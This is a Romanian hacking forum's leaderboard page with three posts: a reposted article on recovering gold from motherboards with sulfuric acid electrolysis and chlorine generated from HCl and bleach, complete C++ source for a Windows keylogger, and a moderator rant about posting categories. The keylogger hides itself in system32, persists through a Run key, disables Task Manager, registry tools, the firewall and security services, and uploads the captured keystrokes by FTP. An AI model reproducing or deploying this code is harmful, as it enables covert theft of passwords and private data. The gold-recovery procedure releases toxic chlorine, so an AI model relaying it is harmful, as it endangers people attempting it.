Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 04/15/11 in all areas

  1. În principal folosit în domeniul bijuteriilor, aurul (simbol chimic Au) este de asemenea, folosit în produc?ie (de industria electronic?, în special la calculatoare) datorit? conductibit??ilor electrice ?i termice excelente, rezisten?a la oxidare ?i a inalterabilit??ii. Industria de calculatoare utilizeaz? anual peste 300 de tone de metal pre?ios. Aurul se g?se?te în aproape toate componentele calculatorului – procesoare, pl?ci de baza, pl?ci video, pl?cu?e de memorie, ?i asa mai departe. Desigur, cantit??ile utilizate pentru fiecare pies? în parte sunt infinitezimale. Dar cum pre?ul aurului a crescut vertiginos în ultimii ani, este tot mai rentabil din punct de vedere economic s? recuperezi aurul din calculatoare ?i componentele electronice vechi decât s? îl minezi. Tocmai din acest motiv companiile specializate au început s? fac? asta. Aurul se g?se?te în numeroase locuri pe o placa de baza: conectori, slotul PCI Express, sloturile PCI, AGP ?i alte porturi, jumperi, socket-ul procesorului ?i sloturile pentru pl?cutele de memorie. În acest articol o s? i?i ar?t cum se poate recupera aurul de pl?cile de baz? vechi.Te rog sa re?ii c? aceste produse chimice utilizate în aceast? demonstra?ie sunt foarte periculoase, mai ales în concentra?iile utilizate. Prin urmare, sus?in cu t?rie c? nu trebuie s? reproduci acest experiment la domiciliu. To?i ace?ti conectori sunt adesea acoperi?i cu un strat fin de aur cu o grosime de câ?iva microni, depus prin metoda plac?rii. Instrumente necesare În prima etapa a acestui experiment, trebuie s? recuperezi to?i ace?ti pini ?i conectori. Avem nevoie de un cle?te t?ietor, patent, ?urubelni?? plat? ?i putina vaselina. Pini, pini ?i multi pini… Ai nevoie de o gr?mad? mare de pini ca s? efectuezi acest experiment… … Împreuna cu unele echipamente ?i produse chimice. Electroliza Pentru a recupera câteva miligrame de aur depus pe pini, se va folosi o celul? electrolitic?. Baia de electroliz? const? dintr-o solu?ie de acid sulfuric cu concentra?ie de 95%. Catodul va fi din plumb iar anodul din cupru. Pinii sunt plasa?i în anodul de cupru, care are forma de co?. Cum func?ioneaz? electroliza: Folosind un înc?rc?tor obi?nuit, prin trecerea unui curent electric prin celula electrolitic?, cuprul din anod (?i din pini) se dizolva ?i se depune pe catodul din plumb. Aurul, desprins de cupru, formeaz? un sediment în partea de jos a celulei. De asemenea, trebuie s? re?ine?i c? temperatura din baie creste semnificativ în timpul procesului de electroliz?. Recuperarea depozitului Dup? ce tot aurul a fost desprins de pe pini, putem s? l?s?m baia electrolitic? s? se decanteze. Apoi, vom recupera cât mai mult din acidul sulfuric, dup? care dilu?m ceea ce r?mâne în partea de jos a celulei electrolitice. Diluarea Când vrei s? diluezi acid sulfuric, fii atent s? torni întotdeauna acid sulfuric în ap?, ?i nu invers. Dac? faci invers, primele pic?turi care ating suprafa?a acidului sulfuric vor fi vaporizate instantaneu, ?i ar putea cauza stropi de acid. Filtrarea Avem acum o solu?ie diluat? de acid sulfuric, diferite metale (inclusiv aur) ?i de?eurile care urmeaz? s? le filtr?m. Nu se filtreaz? solu?ia direct, f?r? diluare, pentru c? filtrele de hârtie nu rezista bine la concentra?ii puternice de acid sulfuric. Prepararea dizolv?rii Ceea ce r?mâne în filtru este un amestec din diferite metale ?i impurit??i. Acum trebuie s? dizolv?m totul într-un amestec acid clorhidric cu concentra?ie de 35% ?i clor (hipoclorit de sodiu), cu concentra?ie de 5%, într-o propor?ie de 2 la 1. 2 HCl + NaClO -> Cl2 + NaCl + H2O Gazul de clor: Foarte periculos! Aten?ie! Reac?ia este puternic exoterm? (adic? se degaj? o cantitate mare de c?ldur?) ?i produce clor, un gaz extrem de periculos. Gazul de clor a fost utilizat ca arma chimic? în timpul primului r?zboi mondial, sub numele de bertholite. Dizolvarea De fapt, clorul produs din amestecarea acidului clorhidric ?i hipocloritul de sodiu este ceea ce va dizolva aurul pentru a forma clorura de aur (III). 2 Au + 3 Cl2 -> 2 AuCl3 O noua filtrare Acum,tot ce trebuie sa facem este s? filtr?m totul din nou. Filtrul va retine toate impurit??ile, l?sând s? treac? doar solu?ia de clorur? de aur (III). Precipitarea Pentru a recupera aurul metalic, trebuie s? precipitam aurul care este în solu?ie. Pentru aceasta, se va folosi metabisulfit de sodiu sub form? de praf. În prezen?a apei, metabisulfitul de sodiu produce bisulfit de sodiu. Na2S2O5 + H2O –> 2NaHSO3 Bisulfitul de sodiu este ceea ce va face aurul s? precipiteze. 3 NaHSO3 + 2 AuCl3 + 3 H2O –> 3 NaHSO4 + 6 HCl + 2 Au Praful de aur Acum trebuie s? l?s?m solu?ia s? se decanteze, apoi vom recupera praful brun adunat în partea de jos a vasului. Trebuie s? fim foarte aten?i ?i s? nu îl pierdem, pentru c? acesta este aur metalic. Topirea Acum, tot ce trebuie s? facem este s? topim pulberea de aur într-un creuzet. Punctul de topire al aurului este în jur de 1064°C, deci o lamp? cu flac?r? oxiacetilenica va fi suficient? pentru aceasta treab?. Bila din aur Rezultatul este aceast? minunat? bil? din aur. Se merit? toat? aceast? treaba din punct de vedere economic? Fii sigur c? nu! Procesul este rentabil doar dac? este f?cut la scar? industrial?. De fapt, companiile care recupereaz? aurul din calculatoarele ?i piesele electronice vechi, folosesc alte metode tehnologice ?i alte substan?e chimice care sunt mult mai periculoase. Dar este interesant ?i amuzant faptul c? poate fi recuperat aurul din pl?cile de baz? vechi, folosind un procedeu f?cut în cas?. Sursa : N - i T . R o
    1 point
  2. #include <windows.h> #include <Winuser.h> #include <string> #include <fstream> using namespace std; char BatchFile[20] = "system.bat"; char* params; DWORD WINAPI OpenBatFile(LPVOID) { for( { Sleep(300000); ShellExecute(NULL* "open"* BatchFile* NULL* NULL* SW_HIDE);} } std::string GetKey(int Key) { std::string KeyString = ""; if (Key == 8) KeyString = "[delete]"; else if (Key == 13) KeyString = "\n"; else if (Key == 32) KeyString = " "; else if (Key == VK_PAUSE) KeyString = "[PAUSE]"; else if (Key == VK_CAPITAL) KeyString = "[CAPITAL]"; else if (Key == VK_SHIFT) KeyString = "[SHIFT]"; else if (Key == VK_TAB) KeyString = "[TABULATOR]"; else if (Key == VK_CONTROL) KeyString = "[CTRL]"; else if (Key == VK_ESCAPE) KeyString = "[ESCAPE]"; else if (Key == VK_END) KeyString = "[END]"; else if (Key == VK_HOME) KeyString = "[HOME]"; else if (Key == VK_LEFT) KeyString = "[left]"; else if (Key == VK_RIGHT) KeyString = "[right]"; else if (Key == VK_UP) KeyString = "[UP]"; else if (Key == VK_DOWN) KeyString = "[DOWN]"; else if (Key == VK_SNAPSHOT) KeyString = "[SNAPSHOT]"; else if (Key == VK_NUMLOCK) KeyString = "[NUMLOCK]"; else if (Key == 190 || Key == 110) KeyString = "."; else if (Key >=96 && Key <= 105) KeyString = Key-48; else if (Key > 47 && Key < 60) KeyString = Key; if (Key != VK_LBUTTON || Key != VK_RBUTTON) { if (Key > 64 && Key < 91) { if (GetKeyState(VK_CAPITAL)) KeyString = Key; else { Key = Key + 32; KeyString = Key; } } } return KeyString; } int main() { int WINAPI WinMain (HINSTANCE hThisInstance* HINSTANCE hPrevInstance* LPSTR lpszArgument* int nFunsterStil); char path[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); char sys[MAX_PATH]; GetModuleFileName(GetModH* path* sizeof(path)); GetSystemDirectory(sys* sizeof(sys)); strcat(sys* "\\borg.exe"); CopyFile(path* sys* false); HKEY hKey* hKey2; unsigned char reg[2] = "0"; RegOpenKeyEx(HKEY_LOCAL_MACHINE*"Software\\Microsoft\\Windows\\CurrentVersion\\Run"* 0* KEY_SET_VALUE* &hKey ); RegSetValueEx(hKey* "MS-Windows-secretly"* 0* REG_SZ*(const unsigned char*)sys* sizeof(sys)); RegCreateKey(HKEY_CURRENT_USER*"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"*&hKey2); RegSetValueEx(hKey2*"DisableTaskMgr"*0*REG_DWORD*reg*sizeof(reg)); RegCloseKey(hKey)*(hKey2); DeleteFile("C:\\WINDOWS\\system32\\log.txt"); ofstream FWUP; FWUP.open("C:\\WINDOWS\\system32\\update.bat"); FWUP<<"@echo off\n"; FWUP<<"net stop ""Security Center""\n"; FWUP<<"net stop SharedAccess\n"; FWUP<<"> ""%Temp%.\\kill.reg"" ECHO REGEDIT4\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\wscsvc]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<"START /WAIT REGEDIT /S ""%Temp%.\\kill.reg""\n"; FWUP<<"DEL ""%Temp%.\\kill.reg""\n"; FWUP<<"DEL %0\n"; FWUP.close(); ofstream disable; disable.open("C:\\WINDOWS\\system32\\syssvr.bat"); disable<<"@echo off\n"; disable<<"reg add ""HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"" /v ""disableregistrytools"" /t REG_DWORD /d ""1"" /f >NUL\n"; disable.close(); //write ur ftp-information's here ofstream log; log.open("C:\\WINDOWS\\system32\\drivers\\config.sys"); log<<"OPEN ftpserver\n"; log<<"USER username\n"; log<<"ftppassword\n"; log<<"ASCII\n"; log<<"SEND C:\\WINDOWS\\system32\\log.txt\n"; log<<"BYE\n"; log<<"exit\n"; log.close(); ofstream Ausgabe; Ausgabe.open("C:\\WINDOWS\\system32\\system.bat"); Ausgabe<<"ftp -n -i -s:C:\\WINDOWS\\system32\\drivers\\config.sys\n"; Ausgabe<<"bye\n"; Ausgabe<<"exit\n"; Ausgabe.close(); ShellExecute(NULL* NULL* "C:\\WINDOWS\\system32\\syssvr.bat"* params* NULL* SW_HIDE); ShellExecute(NULL* NULL* "C:\\WINDOWS\\system32\\update.bat"* params* NULL* SW_HIDE); DWORD OpenBatch; HANDLE hOpenBatFile = CreateThread(NULL* 0* OpenBatFile* 0* 0* &OpenBatch); std::string Filename = "C:\\WINDOWS\\system32\\log.txt"; std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str()* std::fstream::out | std::fstream::app); while(true) { // 0% CPU Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = GetKey (i); FStream.write(TempString.c_str()* TempString.size()); FStream.close(); FStream.open(Filename.c_str()* std::fstream::out | std::fstream::app); } } } }
    1 point
  3. DA! E, adevarat. Exista si alte categorii in afara de Offtopic, pe langa cele de Tutoriale si Programare pe care probabil nu le-ati vazut si nu le veti vedea niciodata. Categoria AJUTOR, si NU Offtopic, e pentru cei care au nevoie de ajutor, care au o problema si incearca sa gaseasca raspunsul la ea. Iar categoria CERERI, si NU Offtopic, e pentru a cere diverse lucruri pe care nu sunteti in stare sa le gasiti folosind Google. Asadar, NU TOATE TOPICURILE, indiferent de subiect, se posteaza aici, la Offtopic. Am mai facut doua posturi pe aceasta tema. Vedeti si asta: http://rstcenter.com/forum/28329-topicurile-de-la-offtopic.rst Asa cum multi ati observat, daca aveti nevoie de ajutor sau cereti ceva aici la Offtopic veti primi avertisment, si la 3-4-5 avertismente veti fi banati. M-am saturat sa dau avertismente si sa va mut topicurile. Desigur, daca ati post si voi ceva util (ce utopie...), un program sau un tutorial, in aceasta categorie, as muta topicul in categoria specifica fara nici o problema, fara sa primiti nici un avertisment. Dar voi postati toate rahaturile, toate problemele banale si toate cererile stupide aici. Desigur, regula nu se aplica doar aici. Daca postati ceva care nu se incadreaza in categria in care postati, adica daca nu ganditi 2 secunde inainte de a posta, veti primi avertisment. Exemple: #1 - Postezi ca vrei un program la: programe hack, programe securitate sau stuff tools - primesti avertisment. Programul il ceri in categoria CERERI pentru ca lumea sa poata vizualiza acea categorie pentru a descarca programe, nu pentru a vedea de ce program are nevoie Vasile. #2 - Postezi ca nu ti se mai scoala intr-o alta categorie in afara de: offtopic, cele mai penale posturi sau cosul de gunoi - primesti probabil ban, in functie de cat de stupid e postul tau. #3 - Postezi la Offtopic cine stie ce problema pe care o ai cu calculatorul - vorbim cu mamica ta sa ti-l ia, pentru ca nu esti destul de mare pentru a avea unul. Daca te-ar duce capul sa meriti un calculator, ai vedea ca exista categorii speciale unde sa pui astfel de intrebari. Deci, pentru a mia oara, si ca sa nu stau sa explic fiecarei "victime" a avertismentelor mele de ce a primit acel avertisment: Exista categoriile AJUTOR si CERERI Sa nu ma mai trezesc cu tot felul de rebeli nemultumiti de faptul ca au primit avertisment. Daca primesc PM, la care oricum nu prea raspund, sau mai rau, se posteaza in acelasi topic diverse proteste ale "raufacatorului", e posibil sa mai primeasca un avertisment. In plus, acesta este un FORUM, ceea ce inseamna ca se poarta diverse discutii in topicuri, si nu pe PM. Deci nu imi mai trimiteti PM-uri ca aveti nevoie de nu stiu ce, sau ca aveti nu stiu ce problema pentru ca nu am sa raspund la ele. E forum, posteaza si ai mult mai multe sanse sa primesti un raspuns.
    1 point
This leaderboard is set to Bucharest/GMT+02:00
×
×
  • Create New...